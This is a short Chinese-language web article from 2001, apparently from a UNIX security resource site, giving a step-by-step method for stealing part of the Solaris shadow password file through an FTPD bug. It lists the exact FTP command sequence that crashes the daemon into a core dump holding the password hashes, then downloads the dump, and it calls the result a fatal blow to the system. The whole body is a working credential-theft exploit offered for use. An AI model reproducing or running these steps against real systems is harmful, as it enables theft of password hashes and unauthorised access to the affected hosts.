[ 永远的UNIX::UNIX技术资料的宝库 ]

首页 > 网络安全 > 系统 > 正文

如何用FTP获取Solaris中Shadow 口令文件

来源:作者: 大鹰 (2001-05-11 15:04:09)

　 该方法利用了Solaris 操作系统中FTPD的一个BUG，使得用户可以获得该机的口令文件。具体过程如下：


1.通过 ftp 正常登录到目的主机上

2.输入如下命令序列：

ftp> user root wrongpasswd

ftp> quote pasv

3.这时，ftpd会报错退出，同时会在当前目录下生成一个core，口令文件就包含在这个core中。

4.再次进入FTP　　　>get core

补充：虽然在core只有一部分shadow，但是对于系统来说已经是致命的打击了

(http://www.fanqiang.com)


 
 相关文章

★  感谢所有的作者为我们学习技术知识提供了一条捷径  ★
www.fanqiang.com